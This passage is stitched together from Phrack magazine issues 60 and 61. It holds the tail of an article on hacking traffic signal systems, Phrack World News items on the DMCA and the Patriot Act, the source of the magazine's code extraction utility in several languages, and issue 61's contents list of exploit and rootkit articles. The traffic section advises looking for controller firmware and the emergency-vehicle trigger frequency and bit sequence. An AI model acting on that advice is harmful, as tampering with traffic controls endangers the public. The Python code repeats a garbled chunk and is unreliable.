Also if you are browsing the LAN, look out for nifty info like, the source to the firmware of controllers since the firmware gets updated quite often. It might lay around on the dialup server or some internal ftp server. The exact frequency and bit sequence used to initiate the emergency cycle in the controllers, for ambulances and emergency vehicles is also nice. There is also the software that is used to commission the controllers and the hand unit for field monitoring.

Of course hacking the traffic system can be abjo0zed and have disastrous effects, but i feel, if you have the skill to access a system like that, then you have the sense not to fsck it up.

|=[ EOF ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Phrack World News

==Phrack Inc.==

Volume 0x0b, Issue 0x3c, Phile #0x0f of 0x10

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ P H R A C K W O R L D N E W S ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ phrackstaff ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

Content in Phrack World News does not reflect the opinion of any particluar Phrack Staff member. PWN is exclusively done by the scene and for the scene.

0x01: Phrack Headlines & Misc

0x02: Freedom strikes back ‑ DMCA loses the trial

0x03: MS issues 71 security bulletins this year and counting... 0x04: U.S. Patriot Act

|=[ 0x01 ‑ Phrack Headlines & Misc ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=

Video games with violent content are good for da kids! I KNEW IT! http://www.vnunet.com/News/1135410

The News Media propose to not broadcast (i.e. to censor) certain reports. The 'Free' media is turning (some say it already turned) into an instrument of the military. But dont worry too much about it: It's all for our good!

http://commondreams.org/views02/1218‑01.htm

Join the teleconference with the National infrastructure and Advisory Council. The Council advises the President of the United States on the security of information systems for critical infrastructure supporting other sectors of the economy, including banking and finance, transportation, energy, manufacturing, and emergency government services. At this meeting, the Council will continue its deliberations on comments to be delivered to President Bush concerning the draft National Strategy to Secure Cyberspace. http://www.access.gpo.gov/su_docs/aces/fr‑cont.html

The promise of the newly formed Department of Homeland Security is to improve our nation's security from terrorism. Unfortunately, the results are far more likely to be the opposite. http://www.counterpane.com/crypto‑gram‑0212.html#3

Kevin Mitnick wrote a book, "The Art of Deception". The first chapter has been deleted by the publisher at the last minute. It's available on the internet: http://www.wired.com/news/culture/0,1284,56187,00.html

http://littlegreenguy.fateback.com/chapter1/Chapter%201%20‑%20Banned%20Edition.doc

Cyberterrorism is just media hype. It's yet another trick used by the military‑industrial complex to suck the last cent out of your pocket. The world will not forget when the Pentagon announced the "best coordinated and most serious hacker attack against military installations". In the end it was one single script kid who tried a public exploit against some unimportant and unclassified military computer and gained access due to a 2 year old bug. http://www.wired.com/news/infostructure/0,1377,56935,00.html

Read this before you visit any other countries. Otherwise you may get arrested and prosecuted (in some cases executed!) in a foreign country for an activity that is _legal_ in your country:

Flashn, a (famous) swedish hacker recently got arrested while trying to escape the United States border to Canada. It seems that he had stayed too long on his tourist visa.

http://www.freeflashn.org/

http://www.mail‑archive.com/full‑disclosure@lists.netsys.com/msg01684.html

Sk8 is out of prison but not free yet:

http://www.freesk8.org/

'Analyzer' is back in jail again:

http://www.freeanalyzer.org/

'Out of office' mails are fucking annoying. Read about yet another reasons why you don't want to use them: http://abcnews.go.com/sections/scitech/DailyNews/burglary021219.html

Computer Crime Center opens: http://www.thestate.com/mld/thestate/news/local/4763628.htm

Get rooted while listening to mp3's: http://news.com.com/2100‑1001‑978403.html?tag=fd_top

Microsoft's products have been left off a list compiled by the Defence Signals Directorate that aims to evaluate and advise whether software is appropriate for use by Australian Government agencies. http://www.zdnet.com.au/newstech/security/story/0,2000024985,20270727,00.htm

|=[ 0x02 ‑ Freedom strikes back ‑ DMCA loses the trial ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

The Russian software company which had found itself on trial in an American court was acquitted on all counts of circumventing the DMCA.

Elcomsoft's woes began in August of last year, when programmer Dmitry Sklyarov was charged under the Digital Millennium Copyright Act's circumvention 1201 clauses (one small part of which is under review by the Librarian of Congress) while visiting Las Vegas for a technical conference. Skylarov was imprisoned for his part in creating an Adobe eBook reader that permitted fair‑use of copyright material, and imprisoned pending trial.

"Today's jury verdict sends a strong message to federal prosecutors who believe that tool makers should be thrown in jail just because a copyright owner doesn't like the tools they build," said EFF Senior Intellectual Property Attorney Fred von Lohmann.

http://www.theregister.co.uk/content/55/28612.html

http://www.theregister.co.uk/content/6/28654.html

http://www.phrack‑dont‑give‑a‑shit‑about‑dmca.org

http://www.nytimes.com/2002/11/21/technology/21COPY.html

http://www.theregister.co.uk/content/6/28223.html

http://www.wired.com/news/business/0,1367,56504,00.html

http://www.fatwallet.com/forums/messageview.cfm?catid=18&threadid=126042

http://news.com.com/2100‑1023‑976296.html

|=[ 0x03 ‑ MS issues 71 security bulletins this year and counting... ]=‑=|

Are you keeping up with all the patches Microsoft has issued? Microsoft has issued 71 security bulletins so far this year. One bulletin in particular, MS02‑069 (Flaw in Microsoft VM Could Enable System Compromise) issued December 11, addresses several problems with the Microsoft Virtual Machine (VM) used for Java code. Versions of the VM software through version 5.0.3805 are vulnerable. According to Microsoft, "The most serious of these issues could enable a Web site to compromise your system and take actions such as changing data, loading and running programs, and reformatting the hard disk." The patch is a critical update, and everyone should install it.

http://www.microsoft.com/security/security_bulletins/ms02‑069.asp

|=[ 0x04 ‑ U.S Patriot Act ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

by, Ross Regnart

Patriot Act redefine MAFIA and Others as "Terrorist Associates"

Under the Patriot Act the U.S. Government can use a "new charge" to arrest Mob members. The Act redefined "Terrorist Association" as any criminal activity that may "relate" to supporting terrorists.

For Prosecution, the U.S. Patriot Act merged common criminal activity with supporting terrorism: The ACT states: criminals and terrorists use the same criminal networks and organizations to "Market" illegal‑drugs; both participate in and have an interest in world criminal activity."

Police Can Now Use Secret Evidence Against Anyone: The Act opened a back door for police to use "secret evidence" against non‑terrorists and alleged criminals. Secret evidence are evidence that has been gathers in an illegal manner, without the authorization of a judge by federal agencies. Government need only allege an individual or organization's activities "relate" to a "criminal market that terrorists use or depend on for their support in order to cause an arrest and/or property confiscation.

What is a "Terrorist Associate? The Patriot Act's wording "relate to" "join" "influence on" "assist" "support" and "criminal market" are so vague, government may charge as "Terrorist Associates" both legal and illegal businesses and individuals who never intended to support terrorists. It is foreseeable "illegal drug marketers" will be charged as "Terrorist Associates" since it is appears impossible to stop terrorists from using their networks to sell drugs or other criminal activity. Under the Act police need little probable cause to arrest citizens and only a "preponderance of evidence" to confiscate their property. Innocent citizens may find it difficult to defend against "secret evidence" and/or recover their confiscated bank accounts and other property. Under the Act "a government authority" to seize foreign bank accounts, need only claim that a financial transaction, account proceeds or property are "related" to criminal activity.

Under the Patriot Act: U.S. and cooperating government authorities are not required to "trace" prove the source of a foreign bank or financial service account in order to seize all the proceeds therein. Should the United States or a government authority find that a foreign bank account has been drawn down or closed the government may "substitute for forfeiture" any other asset a government claims to belong to the alleged owner of a bank account then subject to forfeiture. Consequently, a government may "substitute for forfeiture" assets "equal" to the entire amount of all financial transactions and deposits that went through a foreign bank or financial service account during a given time period.

Under the Patriot Act: the U.S. or a cooperating government authority is not required to prove what part of proceeds seized from a foreign bank or service account are "related" to criminal activity. The U.S. or a cooperating government authority may confiscate a foreign bank account and "never" inform its owners the reason for confiscation or the evidence against their account that caused its confiscation. Innocent account owners may be defenseless under such circumstances.

Charged Defendants Under the Act start out guilty having to prove they did not reasonably have reason to know the person(s), organization or entity they associated or networked with had committed a terrorist act or would commit one in the future.

What constitutes Terrorism under the Patriot Act may be arbitrarily decided by police: Any physical act that is legal or illegal may be alleged by police to be terrorism under 18USC 2331. Example: Union demonstrators fighting with strike breakers. No one need be injured for police to make a terrorist charge; demonstrators need only "appear intended to intimidate or coerce a civilian population; or to influence the policy of a government". (See 18 USC 2331).

The Act's mention of "related" criminal activity and networks permit government under the Act's anti‑terrorism provisions to use "secret evidence" against non‑terrorists the government charges with being "Terrorist Associates". Government "secret evidence" can be used in both U.S. Military Tribunals and Civilian "Star Chamber Courts" as provided for by the Anti‑Terrorism and Death Penalty Act of 1996. Defense against government‑paid and/or other secret witnesses may be difficult when defendants are not allowed to learn the evidence against them.

Under the U.S. Patriot Act the Government got the power from Congress to charge U.S. Citizens for crimes that "relate" to any activity that may support terrorists or threatens the safety, economy, national security, and/or U.S. or Foreign Policy of the United States.

CONCERN: Like imprisoned foreign‑terrorist suspects in the U.S., could American Citizens (non‑terrorists) subsequently charged by the government as "Terrorist Associates", e.g., "related criminal activity" be next to lose their right to have confidential meetings with attorneys? Could U.S. Citizens be forced to give up attorney‑client‑privilege, endure government agents sitting at their table whenever an attorney comes to meet with them in jail?

|=[ EO PWN ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Phrack magazine extraction utility

==Phrack Inc.==

Volume 0x0b, Issue 0x3c, Phile #0x10 of 0x10

|=‑‑‑‑‑‑‑‑=[ P H R A C K E X T R A C T I O N U T I L I T Y ]=‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ phrackstaff ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

The Phrack Magazine Extraction Utility, first appearing in P50, is a convenient way to extract code from textual ASCII articles. It preserves readability and 7‑bit clean ASCII codes. As long as there are no extraneous "<++>" or <‑‑>" in the article, everything runs swimmingly.

Source and precompiled version (windows, unix, ...) is available at http://www.phrack.org/misc.

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

<++> extract/extract4.c !8e2bebc6

/*

* extract.c by Phrack Staff and sirsyko

*

* Copyright (c) 1997 ‑ 2000 Phrack Magazine

*

* All rights reserved.

*

* Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions * are met:

* 1. Redistributions of source code must retain the above copyright * notice, this list of conditions and the following disclaimer. * 2. Redistributions in binary form must reproduce the above copyright * notice, this list of conditions and the following disclaimer in the * documentation and/or other materials provided with the distribution. *

* THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF * SUCH DAMAGE.

*

*

* extract.c

* Extracts textfiles from a specially tagged flatfile into a hierarchical * directory structure. Use to extract source code from any of the articles * in Phrack Magazine (first appeared in Phrack 50).

*

* Extraction tags are of the form:

*

* host:~> cat testfile

* irrelevant file contents

* <++> path_and_filename1 !CRC32

* file contents

* <‑‑>

* irrelevant file contents

* <++> path_and_filename2 !CRC32

* file contents

* <‑‑>

* irrelevant file contents

* <++> path_and_filenamen !CRC32

* file contents

* <‑‑>

* irrelevant file contents

* EOF

*

* The `!CRC` is optional. The filename is not. To generate crc32 values * for your files, simply give them a dummy value initially. The program * will attempt to verify the crc and fail, dumping the expected crc value. * Use that one. i.e.:

*

* host:~> cat testfile

* this text is ignored by the program

* <++> testarooni !12345678

* text to extract into a file named testarooni

* as is this text

* <‑‑>

*

* host:~> ./extract testfile

* Opened testfile

* ‑ Extracting testarooni

* crc32 failed (12345678 != 4a298f18)

* Extracted 1 file(s).

*

* You would use `4a298f18` as your crc value.

*

* Compilation:

* gcc ‑o extract extract.c

*

* ./extract file1 file2 ... filen

*/

#include <stdio.h>

#include <stdlib.h>

#include <sys/stat.h>

#include <sys/types.h>

#include <string.h>

#include <dirent.h>

#include <fcntl.h>

#include <unistd.h>

#include <errno.h>

#define VERSION "7niner.20000430 revsion q"

#define BEGIN_TAG "<++> "

#define END_TAG "<‑‑>"

#define BT_SIZE strlen(BEGIN_TAG)

#define ET_SIZE strlen(END_TAG)

#define EX_DO_CHECKS 0x01

#define EX_QUIET 0x02

struct f_name

{

u_char name[256];

struct f_name *next;

};

unsigned long crcTable[256];

void crcgen()

{

unsigned long crc, poly;

int i, j;

poly = 0xEDB88320L;

for (i = 0; i < 256; i++)

{

crc = i;

for (j = 8; j > 0; j‑‑)

{

if (crc & 1)

{

crc = (crc >> 1) ^ poly;

}

else

{

crc >>= 1;

}

}

crcTable[i] = crc;

}

}

unsigned long check_crc(FILE *fp)

{

register unsigned long crc;

int c;

crc = 0xFFFFFFFF;

while( (c = getc(fp)) != EOF )

{

crc = ((crc >> 8) & 0x00FFFFFF) ^ crcTable[(crc ^ c) & 0xFF]; }

if (fseek(fp, 0, SEEK_SET) == ‑1)

{

perror("fseek");

exit(EXIT_FAILURE);

}

return (crc ^ 0xFFFFFFFF);

}

int

main(int argc, char **argv)

{

char *name;

u_char b[256], *bp, *fn, flags;

int i, j = 0, h_c = 0, c;

unsigned long crc = 0, crc_f = 0;

FILE *in_p, *out_p = NULL;

struct f_name *fn_p = NULL, *head = NULL, *tmp = NULL;

while ((c = getopt(argc, argv, "cqv")) != EOF)

{

switch (c)

{

case 'c':

flags |= EX_DO_CHECKS;

break;

case 'q':

flags |= EX_QUIET;

break;

case 'v':

fprintf(stderr, "Extract version: %s\n", VERSION); exit(EXIT_SUCCESS);

}

}

c = argc ‑ optind;

if (c < 2)

{

fprintf(stderr, "Usage: %s [‑cqv] file1 file2 ... filen\n", argv[0]); exit(0);

}

/*

* Fill the f_name list with all the files on the commandline (ignoring * argv[0] which is this executable). This includes globs. */

for (i = 1; (fn = argv[i++]); )

{

if (!head)

{

if (!(head = (struct f_name *)malloc(sizeof(struct f_name)))) {

perror("malloc"); exit(EXIT_FAILURE);

}

strncpy(head‑>name, fn, sizeof(head‑>name)); head‑>next = NULL;

fn_p = head;

}

else

{

if (!(fn_p‑>next = (struct f_name *)malloc(sizeof(struct f_name)))) {

perror("malloc"); exit(EXIT_FAILURE);

}

fn_p = fn_p‑>next;

strncpy(fn_p‑>name, fn, sizeof(fn_p‑>name)); fn_p‑>next = NULL;

}

}

/*

* Sentry node.

*/

if (!(fn_p‑>next = (struct f_name *)malloc(sizeof(struct f_name)))) {

perror("malloc");

exit(EXIT_FAILURE);

}

fn_p = fn_p‑>next;

fn_p‑>next = NULL;

/*

* Check each file in the f_name list for extraction tags. */

for (fn_p = head; fn_p‑>next; )

{

if (!strcmp(fn_p‑>name, "‑"))

{

in_p = stdin;

name = "stdin";

}

else if (!(in_p = fopen(fn_p‑>name, "r")))

{

fprintf(stderr, "Could not open input file %s.\n", fn_p‑>name); fn_p = fn_p‑>next;

continue;

}

else

{

name = fn_p‑>name;

}

if (!(flags & EX_QUIET))

{

fprintf(stderr, "Scanning %s...\n", fn_p‑>name); }

crcgen();

while (fgets(b, 256, in_p))

{

if (!strncmp(b, BEGIN_TAG, BT_SIZE))

{

b[strlen(b) ‑ 1] = 0; /* Now we have a string. */

j++;

crc = 0;

crc_f = 0;

if ((bp = strchr(b + BT_SIZE + 1, '/'))) {

while (bp)

{

*bp = 0;

if (mkdir(b + BT_SIZE, 0700) == ‑1 && errno != EEXIST) { perror("mkdir"); exit(EXIT_FAILURE); }

*bp = '/';

bp = strchr(bp + 1, '/');

}

}

if ((bp = strchr(b, '!')))

{

crc_f =

strtoul((b + (strlen(b) ‑ strlen(bp)) + 1), NULL, 16); b[strlen(b) ‑ strlen(bp) ‑ 1 ] = 0; h_c = 1;

}

else

{

h_c = 0;

}

if ((out_p = fopen(b + BT_SIZE, "wb+"))) {

fprintf(stderr, ". Extracting %s\n", b + BT_SIZE); }

else

{

printf(". Could not extract anything from '%s'.\n", b + BT_SIZE);

continue;

}

}

else if (!strncmp (b, END_TAG, ET_SIZE))

{

if (out_p)

{

if (h_c == 1)

{

if (fseek(out_p, 0l, 0) == ‑1) { perror("fseek"); exit(EXIT_FAILURE); }

crc = check_crc(out_p); if (crc == crc_f && !(flags & EX_QUIET)) { fprintf(stderr, ". CRC32 verified (%08lx)\n", crc); }

else

{

if (!(flags & EX_QUIET))

{

fprintf(stderr, ". CRC32 failed (%08lx != %08lx)\n",

crc_f, crc);

}

}

}

fclose(out_p);

}

else

{

fprintf(stderr, ". `%s` had bad tags.\n", fn_p‑>name); continue;

}

}

else if (out_p)

{

fputs(b, out_p);

}

}

if (in_p != stdin)

{

fclose(in_p);

}

tmp = fn_p;

fn_p = fn_p‑>next;

free(tmp);

}

if (!j)

{

printf("No extraction tags found in list.\n");

}

else

{

printf("Extracted %d file(s).\n", j);

}

return (0);

}

/* EOF */

<‑‑>

<++> extract/extract.pl !1a19d427

# Daos <daos@nym.alias.net>

#!/bin/sh ‑‑ # ‑*‑ perl ‑*‑ ‑n

eval 'exec perl $0 ‑S ${1+"$@"}' if 0;

$opening=0;

if (/^\<\+\+\>/) {$curfile = substr($_ , 5); $opening=1;};

if (/^\<\‑\‑\>/) {close ct_ex; $opened=0;};

if ($opening) {

chop $curfile;

$sex_dir= substr( $curfile, 0, ((rindex($curfile,'/'))) ) if ($curfile =~ m/\//);

eval {mkdir $sex_dir, "0777";}; open(ct_ex,">$curfile");

print "Attempting extraction of $curfile\n"; $opened=1;

}

if ($opened && !$opening) {print ct_ex $_};

<‑‑>

<++> extract/extract.awk !26522c51

#!/usr/bin/awk ‑f

#

# Yet Another Extraction Script

# ‑ <sirsyko>

#

/^\<\+\+\>/ {

ind = 1

File = $2

split ($2, dirs, "/")

Dir="."

while ( dirs[ind+1] ) { Dir=Dir"/"dirs[ind]

system ("mkdir " Dir" 2>/dev/null") ++ind

}

next

}

/^\<\‑\‑\>/ {

File = ""

next

}

File { print >> File }

<‑‑>

<++> extract/extract.sh !a81a2320

#!/bin/sh

# exctract.sh : Written 9/2/1997 for the Phrack Staff by <sirsyko> #

# note, this file will create all directories relative to the current directory # originally a bug, I've now upgraded it to a feature since I dont want to deal # with the leading / (besides, you dont want hackers giving you full pathnames # anyway, now do you :)

# Hopefully this will demonstrate another useful aspect of IFS other than # haxoring rewt

#

# Usage: ./extract.sh <filename>

cat $* | (

Working=1

while [ $Working ];

do

OLDIFS1="$IFS"

IFS=

if read Line; then

IFS="$OLDIFS1"

set ‑‑ $Line

case "$1" in

"<++>") OLDIFS2="$IFS" IFS=/

set ‑‑ $2 IFS="$OLDIFS2" while [ $# ‑gt 1 ]; do

File=${File:‑"."}/$1

if [ ! ‑d $File ]; then

echo "Making dir $File"

mkdir $File

fi

shift

done

File=${File:‑"."}/$1 echo "Storing data in $File" ;;

"<‑‑>") if [ "x$File" != "x" ]; then

unset File

fi ;;

*) if [ "x$File" != "x" ]; then

IFS=

echo "$Line" >> $File

IFS="$OLDIFS1"

fi

;;

esac

IFS="$OLDIFS1"

else

echo "End of file"

unset Working

fi

done

)

<‑‑>

<++> extract/extract.py !83f65f60

#! /bin/env python

# extract.py Timmy 2tone <_spoon_@usa.net>

import sys, string, getopt, os

class Datasink:

"""Looks like a file, but doesn't do anything."""

def write(self, data): pass

def close(self): pass

def extract(input, verbose = 1):

"""Read a file from input until we find the end token."""

if type(input) == type('string'):

fname = input

try: input = open(fname)

except IOError, (errno, why):

print "Can't open %s: %s" % (fname, why) return errno

else:

fname = '<file descriptor %d>' % input.fileno()

inside_embedded_file = 0

linecount = 0

line = input.readline()

while line:

if not inside_embedded_file and line[:4] == '<++>':

inside_embedded_file = 1

linecount = 0

filename = string.strip(line[4:])

if mkdirs_if_any(filename) != 0:

pass

try: output = open(filename, 'w')

except IOError, (errno, why):

print "Can't open %s: %s; skipping file" % (filename, why) output = Datasink()

continue

if verbose:

print 'Extracting embedded file %s from %s...' % (filename,

fname),

elif inside_embedded_file and line[:4] == '<‑‑>': output.close()

inside_embedded_file = 0

if verbose and not isinstance(output, Datasink): print '[%d lines]' % linecount

elif inside_embedded_file:

output.write(line)

# Else keep looking for a start token.

line = input.readline()

linecount = linecount + 1

def mkdirs_if_any(filename, verbose = 1):

"""Check for existance of /'s in filename, and make directories."""

path, file = os.path.split(filename)

if not path: return

errno = 0

start = os.getcwd()

components = string.split(path, os.sep)

for dir in components:

if not os.path.exists(dir):

try:

os.mkdir(dir)

if verbose: print 'Created directory', path

except os.error, (errno, why):

print "Can't make directory %s: %s" % (dir, why) break

try: os.chdir(dir)

except os.error, (errno, why):

print "Can't cd to directory %s: %s" % (dir, why) break

os.chdir(start)

return errno

def usage():

"""Blah."""

die('Usage: extract.py [‑V] filename [filename...]')

def main():

try: optlist, args = getopt.getopt(sys.argv[1:], 'V') except getopt.error, why: usage()

if len(args) <= 0: usage()

if ('‑V', '') in optlist: verbose = 0

else: verbose = 1

for filename in args:

if verbose: print 'Opening source file', filename + '...' extract(filename, verbose)

def db(filename = 'P51‑11'):

"""Run this script in the python debugger."""

import pdb

sys.argv[1:] = ['‑v', filename]

pdb.run('extract.main()')

def die(msg, errcode = 1):

print msg

sys.exit(errcode)

if __name__ == '__main__':

try: main()

except KeyboardInterrupt: pass

except getopt.error, why: usage()

if len(args) <= 0: usage()

if ('‑V', '') in optlist: verbose = 0

else: verbose = 1

for filename in args:

if verbose: print 'Opening source file', filename + '...' extract(filename, verbose)

def db(filename = 'P51‑11'):

"""Run this script in the python debugger."""

import pdb

sys.argv[1:] = [filename]

pdb.run('extract.main()')

def die(msg, errcode = 1):

print msg

sys.exit(errcode)

if __name__ == '__main__':

try: main()

except KeyboardInterrupt: pass # No messy traceback. <‑‑>

<++> extract/extract‑win.c !e519375d

/***************************************

/* WinExtract

/*

/* Written by Fotonik <fotonik@game‑master.com>. */

/*

/* Coding of WinExtract started on 22aug98. */

/*

/* This version (1.0) was last modified on 22aug98. */

/*

/* This is a Win32 program to extract text files from a specially tagged */

/* flat file into a hierarchical directory structure. Use to extract */

/* source code from articles in Phrack Magazine. The latest version of */

/* this program (both source and executable codes) can be found on my */

/* website: http://www.altern.com/fotonik */

/***************************************

#include <stdio.h>

#include <string.h>

#include <windows.h>

void PowerCreateDirectory(char *DirectoryName);

int WINAPI WinMain(HINSTANCE hThisInst, HINSTANCE hPrevInst, LPSTR lpszArgs, int nWinMode)

{

OPENFILENAME OpenFile; /* Structure for Open common dialog box */

char InFileName[256]="";

char OutFileName[256];

char Title[]="WinExtract ‑ Choose a file to extract files from."; FILE *InFile;

FILE *OutFile;

char Line[256];

char DirName[256];

int FileExtracted=0; /* Flag used to determine if at least one file was */

int i; /* extracted */

ZeroMemory(&OpenFile, sizeof(OPENFILENAME)); OpenFile.lStructSize=sizeof(OPENFILENAME); OpenFile.hwndOwner=HWND_DESKTOP;

OpenFile.hInstance=hThisInst;

OpenFile.lpstrFile=InFileName; OpenFile.nMaxFile=sizeof(InFileName)‑1;

OpenFile.lpstrTitle=Title;

OpenFile.Flags=OFN_FILEMUSTEXIST | OFN_HIDEREADONLY;

if(GetOpenFileName(&OpenFile))

{

if((InFile=fopen(InFileName,"r"))==NULL)

{

MessageBox(NULL,"Could not open file.",NULL,MB_OK); return 0;

}

/* If we got here, InFile is opened. */

while(fgets(Line,256,InFile))

{

if(!strncmp(Line,"<++> ",5)) /* If line begins with "<++> " */

{

Line[strlen(Line)‑1]='\0'; strcpy(OutFileName,Line+5);

/* Check if a dir has to be created and create one if necessary */

for(i=strlen(OutFileName)‑1;i>=0;i‑‑)

{ if((OutFileName[i]=='\\')||(OutFileName[i]=='/')) {

strncpy(DirName,OutFileName,i); DirName[i]='\0'; PowerCreateDirectory(DirName); break;

}

}

if((OutFile=fopen(OutFileName,"w"))==NULL)

{

MessageBox(NULL,"Could not create file.",NULL,MB_OK); fclose(InFile);

return 0;

}

/* If we got here, OutFile can be written to */

while(fgets(Line,256,InFile))

{

if(strncmp(Line,"<‑‑>",4)) /* If line doesn't begin w/ "<‑‑>" */

{

fputs(Line, OutFile);

}

else

{

break;

}

}

fclose(OutFile);

FileExtracted=1;

}

}

fclose(InFile);

if(FileExtracted)

{

MessageBox(NULL,"Extraction sucessful.","WinExtract",MB_OK); }

else

{

MessageBox(NULL,"Nothing to extract.","Warning",MB_OK); }

}

return 1;

}

/* PowerCreateDirectory is a function that creates directories that are */

/* down more than one yet unexisting directory levels. (e.g. c:\1\2\3) */

void PowerCreateDirectory(char *DirectoryName)

{

int i;

int DirNameLength=strlen(DirectoryName);

char DirToBeCreated[256];

for(i=1;i<DirNameLength;i++) /* i starts at 1, because we never need to */

{ /* create '/' */

if((DirectoryName[i]=='\\')||(DirectoryName[i]=='/')|| (i==DirNameLength‑1))

{

strncpy(DirToBeCreated,DirectoryName,i+1); DirToBeCreated[i+1]='\0'; CreateDirectory(DirToBeCreated,NULL);

}

}

}

<‑‑>

|=[ EOF ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

61

- Introduction by Phrack Staff

- Loopback by Phrack Staff

- Linenoise by Phrack Staff

- Toolz Armory by Phrack Staff

- Phrack Prophile on digit by Phrack Staff

- Advanced Doug Lea's malloc exploits by jp

- Hijacking Linux Page Fault Handler by buffer

- The Cerberus ELF interface by mayhem

- Polymorphic Shellcode Engine by CLET team

- Infecting Loadable Kernel Modules by truff

- Building IA32 'Unicode-Proof' Shellcodes by obscou

- Fun with the Spanning Tree Protocol by Vladislav V. Myasnyankin & Oleg K. Artemjev

- Hacking the Linux Kernel Network Stack by bioforge

- Kernel Rootkit Experiences & the Future by stealth

- Phrack World News by Phrack Staff

Introduction

==Phrack Inc.==

Volume 0x0b, Issue 0x3d, Phile #0x01 of 0x0f

[‑]=====================================

@@@@@@@ @@@ @@@ @@@@@@@

@@@@@@@@ @@@ @@@ @@@@@@@@ @

@@! @@@ @@! @@@ @@! @@@ @

!@! @!@ !@! @!@ !@! @!@ !

@!@@!@! @!@!@!@! @!@!!@! @

!!@!!! !!!@!!!! !!@!@! !

!!: !!: !!! !!: :!! !

:!: :!: !:! :!: !:! :

:: :: ::: :: ::: :

: : : : : : :

. o O R E L O A D E D O o .

[‑]=====================================

*PENG* PHRACK #61 is out.

What's new?

P61 comes with a prophile again (DiGiT!). We changed the filenames of the articles (dos 8.3 is dead people!). I got bored of including this outdated and buggy phrack extraction utility in every phrack ‑‑ gone it iz! In this issue you'll find:16 jucy articles; a bunch of smaller articles (in linenoise); the usual 100% dumbness in loopback, and some Phrack World News with old skewl doodz.

I admit it, we are 5 days behind the promised release date. Sorry. Some of you might already have enjoyed the beta‑release that we gave out a few days ago to some authors and ircs junkees. Others might have spotted one of the many leaked (and modified) versions of these beta‑releases. Be warned, we dont give any warranty for the correctness of the article or code, especially for an unofficial version. Hell, I saw one #61 version today which contains articles I've never seen before and a prophile of someone we would not prophile :>

TO MAKE IT EASIER FOR YOU: ALL DA DOMAINZ ARE BELONG TO UZ. http://www.phrack.org <‑‑ original

http://www.phrack.com <‑‑ old skewl

http://www.phrack.net <‑‑ donated

Phrack got some media coverage for releasing the gps jammer article. We received a high amount of emails from .gov/.mil subdomains telling us that MS exchange cant read 'this strange uudecode format'. We amused ourself for 8 month, thnx: http://www.phrack.org/dump/phrack_gps_jammer.png

__^__

( ___ )‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| / | 0x01 Introduction Phrack Staff 0x09 kb | \ | | / | 0x02 Loopback Phrack Staff 0x0b kb | \ | | / | 0x03 Linenoise Phrack Staff 0x33 kb | \ | | / | 0x04 Toolz Armory Phrack Staff 0x06 kb | \ | | / | 0x05 Phrack Prophile on DiGiT Phrack Staff 0x10 kb | \ | | / | 0x06 Advanced Doug Lea's malloc exploits jp 0x5c kb | \ | | / | 0x07 Hijacking Linux Page Fault Handler buffer 0x1c kb | \ | | / | 0x08 The Cerberus ELF interface mayhem 0x3f kb | \ | | / | 0x09 Polymorphic Shellcode Engine CLET team 0xfb kb | \ | | / | 0x0a Infecting Loadable Kernel Modules truff 0x25 kb | \ | | / | 0x0b Building IA32 Unicode‑Proof Shellcodes obscou 0x2d kb | \ | | / | 0x0c Fun with Spanning Tree Protocol O.K. Artemjev 0x25 kb | \ |

| / | Vladislav V. Myasnyankin | \ |

| / | 0x0d Hacking da Linux Kernel Network Stack bioforge 0x4a kb | \ | | / | 0x0e Kernel Rootkit Experiences stealth 0x0c kb | \ | | / | 0x0f Phrack World News Phrack Staff 0x37 kb | \ |

